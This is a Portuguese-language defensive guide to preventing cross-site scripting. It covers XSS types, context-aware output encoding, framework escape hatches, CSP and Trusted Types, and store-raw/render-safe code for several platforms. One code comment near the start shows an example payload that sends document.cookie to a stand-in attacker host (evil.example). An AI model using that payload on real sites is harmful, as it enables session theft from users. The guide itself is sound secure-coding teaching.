Cross-site scripting é um ataque que injeta scripts maliciosos em páginas confiáveis; prevenir exige codificar a saída conforme cada contexto. O navegador é vítima da própria confiança: um script que chega dentro de uma página vinda de uma origem legítima roda com todos os poderes daquela página — session, storage, cada ação que o usuário pode executar. Três décadas depois, o CWE-79 ainda lidera os rankings de fraquezas mais perigosas, porque a causa-raiz é cometida um template por vez: entrada não confiável chegando à saída sem codificação.
Principais pontos
| Pergunta | Resposta |
|---|---|
| Os três tipos | Armazenado (no banco) · refletido (na URL) · baseado em DOM (no JS do cliente) |
| A defesa primária | Codificação de saída sensível ao contexto — na renderização, por destino |
| A regra que todo mundo inverte | Valide por correção; codifique por segurança — validação sozinha não basta |
| Frameworks | Auto-escape por padrão — até a válvula de escape (v-html, dangerouslySetInnerHTML) |
| As redes de segurança | CSP estrita · Trusted Types · cookies HttpOnly — mitigação, não correção |
Uma linha vulnerável
// O bug — dado do usuário encontra um sink de HTML
commentEl.innerHTML = comment.text;
// Payload que alguém vai acabar enviando:
// <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// O navegador de cada leitor executa isso, com a session do leitor.
// A correção — mesmo dado, contexto de texto
commentEl.textContent = comment.text; // a marcação aparece como texto; nunca executa
A disciplina por trás dessa correção — armazenar bruto, renderizar seguro — através do stack:
// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();
// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink // Flutter / Dart — Back4app Flutter SDK
// Store RAW, render SAFE — Flutter's Text() treats data as text, not markup
final comment = ParseObject('Comment')..set('text', userInput);
await comment.save(); // saved as-is — no encoding at write time
// Text() cannot execute markup — XSS needs an HTML context to exist
Text(comment.get<String>('text') ?? '');
// Danger returns with WebViews: never loadHtmlString() raw user content // iOS / Swift — Back4app Swift SDK
// Store RAW, render SAFE — UILabel treats data as text, not markup
var comment = Comment()
comment.text = userInput
try await comment.save() // saved as-is — no encoding at write time
label.text = comment.text // safe: text, not HTML
// Danger returns with WKWebView: never loadHTMLString() raw user content // Android / Kotlin — Back4app Android SDK
// Store RAW, render SAFE — TextView treats data as text, not markup
val comment = ParseObject("Comment")
comment.put("text", userInput)
comment.save() // saved as-is — no encoding at write time
textView.text = comment.getString("text") // safe: text, not HTML
// Danger returns with WebViews: never loadData() with raw user content XSS armazenado vs. refletido vs. baseado em DOM
| Armazenado (persistente) | Refletido | Baseado em DOM | |
|---|---|---|---|
| O payload vive | No seu banco de dados | Em uma URL manipulada | No fluxo de dados do cliente |
| Vítimas | Todo mundo que vê a página | Quem clica no link | Quem chega ao estado da página |
| O servidor vê | Sim — na escrita | Sim — ecoado a cada requisição | Muitas vezes nunca |
| Vetor clássico | Comentários, perfis, mensagens | Ecos de busca, páginas de erro | location.hash → innerHTML |
| Consenso de severidade | O mais perigoso | Direcionado, dependente do link | Invisível para logs do servidor e WAFs |
A defesa primária: codificação de saída sensível ao contexto
A regra de assinatura, dita com clareza já que as autoridades do assunto a enterram: a mesma string é segura em um lugar e letal em outro — e é por isso que a codificação acontece na saída, por destino, e por isso que a validação de entrada sozinha sempre falha: no momento da entrada você não conhece o contexto, blocklists perdem para truques de encoding, e dados legítimos (O'Brien, 1 < 2) quebram sob validação-como-segurança.
| Contexto de saída | Codifique | O erro comum |
|---|---|---|
| Corpo do HTML | Codificar como entidades & < > " ' | Confiar que “é só texto” |
| Atributo HTML | Entidades + sempre aspas no atributo | Atributos sem aspas — espaços escapam do valor |
| String JavaScript | Escape \uXXXX, via serializador | Concatenar dado do usuário em JS inline |
| URL / href | Percent-encoding + validar o scheme | URLs javascript: passam ilesas pela codificação HTML |
| Valor CSS | Allowlists estritas, só valores de propriedade | Blocos de style controlados pelo usuário |
| JSON na página | Serializar como JSON + escapar </script> | Blobs de hidratação window.__STATE__ = … |
Quando usuários escrevem HTML legitimamente — rich text, markdown — a codificação o destruiria; esse é o único trabalho da sanitização: uma biblioteca mantida (DOMPurify) remove construções executáveis, e a saída deve ser usada na íntegra — modificar de novo uma string sanitizada anula a sanitização.
Frameworks: escape por padrão, inseguro pela válvula de escape
Os frameworks modernos aposentaram o grosso do XSS clássico — valores interpolados são escapados automaticamente. Duas letras miúdas mantêm o bug vivo. Primeira: todo framework traz um bypass, e cada um é um alvo de grep no code review:
| Framework | Escapa por padrão | A válvula de escape |
|---|---|---|
| React | Interpolação JSX | dangerouslySetInnerHTML |
| Vue | Templates {{ }} | v-html |
| Angular | Interpolação + sanitizador | bypassSecurityTrustHtml e irmãos |
| Svelte | Expressões de template | {@html …} |
| Templates de servidor | Modo auto-escape | Filtros | safe / | raw |
Segunda: o auto-escape cobre apenas o contexto do corpo HTML: um href vinculado a dado do usuário ainda executa URLs javascript:, e embutir em script inline ainda exige codificação de contexto JS. A resposta em forma de fluxo de trabalho: sanitize antes de qualquer válvula de escape, valide o scheme das URLs em links vinculados e adicione lint para as válvulas (react/no-danger e afins), para que as exceções continuem deliberadas.
Defesa em profundidade: CSP, Trusted Types, HttpOnly
As redes de segurança, com o rótulo honesto. Uma Content Security Policy estrita bloqueia scripts inline injetados mesmo quando um bug vai para produção:
Content-Security-Policy:
script-src 'nonce-{random-per-response}' 'strict-dynamic';
object-src 'none'; base-uri 'none'
Baseada em nonce, não em allowlist — allowlists de hosts são contornáveis com frequência suficiente para o cheat sheet da OWASP insistir que a CSP não deve ser sua defesa primária. Implante primeiro em modo Report-Only. Trusted Types (require-trusted-types-for 'script') vai além para o XSS de DOM: sinks perigosos como innerHTML passam a rejeitar strings puras, forçando todo HTML a passar por uma única política auditável. E cookies HttpOnly protegem exatamente uma coisa — scripts injetados não conseguem ler o cookie de session — o que importa porque tokens em localStorage estão a um localStorage.getItem da exfiltração: a orientação de armazenamento de JWT e este artigo são o mesmo argumento visto de dois lados. Nenhuma das três corrige o bug; as três encolhem o quanto ele vale.
A parte que pertence ao backend
XSS soa como problema de frontend; uma fatia dele pertence à API. Armazene bruto, codifique na saída — codificar na escrita corrompe dados, gera dupla codificação em idas e voltas e ainda erra contextos que você não previu. Disciplina de content type: respostas JSON declaram Content-Type: application/json mais X-Content-Type-Options: nosniff, porque um parâmetro refletido em uma resposta que o navegador aceita farejar como HTML é XSS com etapas extras. Páginas de erro que ecoam a URL ou os parâmetros são o sink refletido clássico que ninguém revisa. E a armadilha vizinha que merece uma frase: renderizar entrada do usuário como template, e não como dado, escala além do XSS para server-side template injection — entrada do usuário é dado de template, nunca código de template.
Casos de uso comuns
Onde essas defesas pagam o próprio salário:
- Comentários, avaliações, mensagens — território do XSS armazenado: codifique na renderização, em todo lugar onde aparecem.
- Rich text e markdown — o caso do HTML legítimo: sanitize na renderização, mantenha o sanitizador atualizado.
- Busca, filtros, páginas de erro — território do refletido: qualquer coisa que ecoa dados da requisição os codifica.
- SPAs que roteiam por estado da URL — território do DOM: dado de fragmento e de query nunca encontra
innerHTMLsem sanitização. - WebViews mobile — a superfície de XSS do app nativo: nunca carregue conteúdo bruto do usuário como HTML.
Qual defesa vem primeiro? Matriz de decisão
| Situação | Faça |
|---|---|
| Exibir texto do usuário | Interpolação do framework / textContent — nada mais sofisticado |
| Renderizar HTML escrito pelo usuário | Sanitizar com DOMPurify, usar a saída na íntegra |
| Dado do usuário em um link | Validar allowlist de scheme (https:), depois codificar |
| JSON/estado inline nas páginas | Serializar como JSON com escape seguro para script |
| Colocar qualquer item acima em produção | CSP estrita com nonce em Report-Only, depois aplicar |
| Auditar código existente | Grep nas válvulas de escape e sinks; lint; testar payloads por contexto |
Limitações e trade-offs
- A codificação precisa ser exata para o contexto. Codificar como HTML um dado vinculado a uma URL ou a um bloco de script é o padrão da falsa segurança — defesa certa, contexto errado, ainda explorável.
- Sanitizadores são dependências. Bypasses são publicados; um sanitizador pinado e desatualizado vira, em silêncio, uma vulnerabilidade com changelog.
- CSP custa engenharia. Nonces tocam toda tag de script e handler inline; adotar CSP estrita em uma base legada é um projeto — por isso o Report-Only existe.
- Trusted Types tem arestas de adoção. A aplicação é liderada pelo Chromium; trate como endurecimento por cima da codificação, não como garantia de portabilidade.
- WAFs não são a resposta. Filtros de casamento de padrões pegam payloads conhecidos e perdem encodings e mutações; a própria orientação da OWASP os chama de não confiáveis para XSS.
Prevenção de XSS no Back4app
O Back4app é uma plataforma open-source de Backend as a Service (BaaS) que combina banco de dados gerenciado, APIs REST e GraphQL geradas automaticamente, autenticação, armazenamento de arquivos e funções serverless com Cloud Code. A fatia do backend na disciplina já vem embutida: os dados são armazenados brutos e devolvidos por APIs JSON com content types corretos — nunca renderizados como HTML no servidor — de modo que a responsabilidade de codificar na saída fica limpa na sua camada de UI, onde as abas de código acima mostram o padrão armazenar-bruto/renderizar-seguro por plataforma. Os controles de raio de dano já estão ligados: sessions viajam em tokens revogáveis em vez de credenciais de longa vida no localStorage, e ACLs com permissões em nível de classe delimitam o que qualquer script executando como um usuário poderia tocar — um payload injetado herda as permissões da vítima, não o banco de dados. O Cloud Code é o lugar certo para a higiene restante do lado do servidor: validar campos de URL contra allowlists de scheme e sanitizar campos de rich text uma única vez, no beforeSave, para que todo cliente renderize o mesmo conteúdo já defendido.
Perguntas frequentes
O que é XSS em termos simples?
Um atacante contrabandeia JavaScript próprio para dentro de uma página que outras pessoas visualizam — por um comentário, um link manipulado, um campo de perfil — e o navegador das vítimas o executa como se o próprio site o tivesse escrito. Dali em diante, o script pode fazer tudo o que a vítima pode: ler seus dados, agir em seu nome, roubar sua session.
Qual é um exemplo de ataque XSS?
Um campo de comentários que não codifica a saída: envie uma tag de script como comentário e ela executa no navegador de todo leitor. Payloads de prova de conceito disparam um alert; os reais enviam o cookie de session ou os tokens da vítima para o atacante.
Qual a diferença entre XSS armazenado, refletido e baseado em DOM?
Onde o payload viaja. O XSS armazenado vive no banco de dados e atinge todo mundo que visualiza a página. O refletido pega carona em uma URL manipulada e atinge quem clica nela. O baseado em DOM acontece inteiramente no JavaScript do cliente — o dado do atacante flui de uma fonte como o fragmento da URL para um sink como innerHTML, às vezes sem nunca tocar o servidor.
Como prevenir XSS?
Nesta ordem: codificação de saída sensível ao contexto no momento de renderizar (a defesa primária), validação de entrada como camada de apoio, uma biblioteca de sanitização quando usuários podem escrever HTML de verdade, content types corretos nas APIs, uma Content Security Policy estrita como rede de segurança e cookies HttpOnly para limitar o que um ataque bem-sucedido consegue roubar.
Codificação de saída, validação de entrada, sanitização — qual usar?
Trabalhos diferentes. A codificação converte caracteres na saída para que o dado seja exibido como texto em vez de executar — a defesa primária, escolhida por contexto. A validação rejeita entrada malformada na chegada — útil para correção, insuficiente para segurança, porque o perigo depende de onde o dado vai parar. A sanitização remove construções inseguras de HTML que você pretende renderizar como HTML.
Content Security Policy impede XSS?
Uma CSP estrita, baseada em nonce, bloqueia scripts inline injetados mesmo quando o bug existe — defesa em profundidade genuína. Mas ela é o backup, não a correção: políticas no estilo allowlist são amplamente contornáveis, e a orientação da OWASP é explícita em dizer que a CSP nunca deve ser a defesa primária.
React e Vue previnem XSS automaticamente?
Em grande parte — a interpolação de templates escapa valores automaticamente, o que aposentou classes inteiras de bug. Mas todo framework traz válvulas de escape que reintroduzem o XSS na íntegra: dangerouslySetInnerHTML no React, v-html no Vue, as APIs de bypass de confiança no Angular — além de URLs javascript: em bindings de href, que o auto-escape nunca cobriu.
Qual a diferença entre XSS e CSRF?
Capacidade. O XSS executa código do atacante no navegador da vítima — via de mão dupla: consegue ler respostas e fazer tudo o que o usuário faz. O CSRF apenas engana o navegador para enviar requisições forjadas — mão única, sem leitura, e dependente de uma session ativa. O XSS é a classe mais severa, e um bug de XSS pode derrotar as defesas contra CSRF.